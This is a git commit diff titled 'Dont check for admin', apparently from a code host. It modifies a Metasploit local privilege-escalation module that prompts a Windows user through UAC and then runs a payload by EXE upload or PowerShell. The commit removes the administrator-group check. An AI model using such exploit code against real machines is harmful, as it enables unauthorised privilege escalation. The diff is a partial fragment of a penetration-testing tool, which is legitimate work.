Dont check for admin
parent
868b70c9ed
commit
04506d76f3
|
@ -45,53 +45,29 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
end
|
||||
|
||||
def check
|
||||
session.readline
|
||||
print_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
return Exploit::CheckCode::Unknown
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_error("Not in admins group, cannot escalate with this module")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
admin_check = check
|
||||
if admin_check.join =~ /safe/
|
||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_status "UAC is Enabled, checking level..."
|
||||
else
|
||||
if is_in_admin_group?
|
||||
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
||||
end
|
||||
end
|
||||
case get_uac_level
|
||||
case get_uac_level
|
||||
when UAC_NO_PROMPT
|
||||
print_good "UAC is not enabled, no prompt for the user"
|
||||
else
|
||||
print_status "The user will be prompted, wait for them to click 'Ok'"
|
||||
end
|
||||
else
|
||||
print_good "UAC is not enabled, no prompt for the user"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate payload and random names for upload
|
||||
#
|
||||
case datastore["TECHNIQUE"]
|
||||
when "EXE"
|
||||
execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"])
|
||||
when "PSH"
|
||||
execute_psh
|
||||
when "EXE"
|
||||
execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"])
|
||||
when "PSH"
|
||||
execute_psh
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue